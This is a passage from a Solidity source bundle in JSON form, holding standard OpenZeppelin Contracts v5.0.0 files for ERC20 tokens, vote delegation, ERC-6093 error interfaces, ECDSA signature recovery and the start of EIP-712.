amount);\n }\n\n /**\n * @dev Moves delegated votes from one delegate to another.\n */\n function _moveDelegateVotes(address from, address to, uint256 amount) private {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[from],\n _subtract,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[to],\n _add,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function _numCheckpoints(address account) internal view virtual returns (uint32) {\n return SafeCast.toUint32(_delegateCheckpoints[account].length());\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function _checkpoints(\n address account,\n uint32 pos\n ) internal view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _delegateCheckpoints[account].at(pos);\n }\n\n function _push(\n Checkpoints.Trace208 storage store,\n function(uint208, uint208) view returns (uint208) op,\n uint208 delta\n ) private returns (uint208, uint208) {\n return store.push(clock(), op(store.latest(), delta));\n }\n\n function _add(uint208 a, uint208 b) private pure returns (uint208) {\n return a + b;\n }\n\n function _subtract(uint208 a, uint208 b) private pure returns (uint208) {\n return a - b;\n }\n\n /**\n * @dev Must return the voting units held by an account.\n */\n function _getVotingUnits(address) internal view virtual returns (uint256);\n}\n"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5267.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC5267 {\n /**\n * @dev MAY be emitted to signal that the domain could have changed.\n */\n event EIP712DomainChanged();\n\n /**\n * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712\n * signature.\n */\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5805.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5805.sol)\n\npragma solidity ^0.8.20;\n\nimport {IVotes} from \"../governance/utils/IVotes.sol\";\nimport {IERC6372} from \"./IERC6372.sol\";\n\ninterface IERC5805 is IERC6372, IVotes {}\n"
},
"@openzeppelin/contracts/interfaces/IERC6372.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC6372.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC6372 {\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based checkpoints (and voting).\n */\n function clock() external view returns (uint48);\n\n /**\n * @dev Description of the clock\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"./IERC20.sol\";\nimport {IERC20Metadata} from \"./extensions/IERC20Metadata.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {IERC20Errors} from \"../../interfaces/draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n */\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value <= fromBalance <= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Votes.sol)\n\npragma solidity ^0.8.20;\n\nimport {ERC20} from \"../ERC20.sol\";\nimport {Votes} from \"../../../governance/utils/Votes.sol\";\nimport {Checkpoints} from \"../../../utils/structs/Checkpoints.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,\n * and supports token supply up to 2^208^ - 1, while COMP is limited to 2^96^ - 1.\n *\n * NOTE: This contract does not provide interface compatibility with Compound's COMP token.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getVotes} and {getPastVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n */\nabstract contract ERC20Votes is ERC20, Votes {\n /**\n * @dev Total supply cap has been exceeded, introducing a risk of votes overflowing.\n */\n error ERC20ExceededSafeSupply(uint256 increasedSupply, uint256 cap);\n\n /**\n * @dev Maximum token supply. Defaults to `type(uint208).max` (2^208^ - 1).\n *\n * This maximum is enforced in {_update}. It limits the total supply of the token, which is otherwise a uint256,\n * so that checkpoints can be stored in the Trace208 structure used by {{Votes}}. Increasing this value will not\n * remove the underlying limitation, and will cause {_update} to fail because of a math overflow in\n * {_transferVotingUnits}. An override could be used to further restrict the total supply (to a lower value) if\n * additional logic requires it. When resolving override conflicts on this function, the minimum should be\n * returned.\n */\n function _maxSupply() internal view virtual returns (uint256) {\n return type(uint208).max;\n }\n\n /**\n * @dev Move voting power when tokens are transferred.\n *\n * Emits a {IVotes-DelegateVotesChanged} event.\n */\n function _update(address from, address to, uint256 value) internal virtual override {\n super._update(from, to, value);\n if (from == address(0)) {\n uint256 supply = totalSupply();\n uint256 cap = _maxSupply();\n if (supply > cap) {\n revert ERC20ExceededSafeSupply(supply, cap);\n }\n }\n _transferVotingUnits(from, to, value);\n }\n\n /**\n * @dev Returns the voting units of an `account`.\n *\n * WARNING: Overriding this function may compromise the internal vote accounting.\n * `ERC20Votes` assumes tokens map to voting units 1:1 and this is not easy to change.\n */\n function _getVotingUnits(address account) internal view virtual override returns (uint256) {\n return balanceOf(account);\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function numCheckpoints(address account) public view virtual returns (uint32) {\n return _numCheckpoints(account);\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _checkpoints(account, pos);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves a `value` amount of tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n /**\n * @dev The signature derives the `address(0)`.\n */\n error ECDSAInvalidSignature();\n\n /**\n * @dev The signature has an invalid length.\n */\n error ECDSAInvalidSignatureLength(uint256 length);\n\n /**\n * @dev The signature has an S value that is in the upper half order.\n */\n error ECDSAInvalidSignatureS(bytes32 s);\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not\n * return address(0) without also returning an error description. Errors are documented using an enum (error type)\n * and a bytes32 providing additional information about the error.\n *\n * If no error is returned, then the address can be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {\n unchecked {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n // We do not check for an overflow here since the shift operation results in 0 or 1.\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError, bytes32) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.\n */\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/EIP712.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)\n\npragma solidity ^0.8.20;\n\nimport {MessageHashUtils} from \"./MessageHashUtils.sol\";\nimport {ShortStrings, ShortString} from \"../ShortStrings.sol\";\nimport {IERC5267} from \"../../interfaces/IERC5267.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose\n * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract\n * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to\n * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain\n * separator of the implementation contract. This 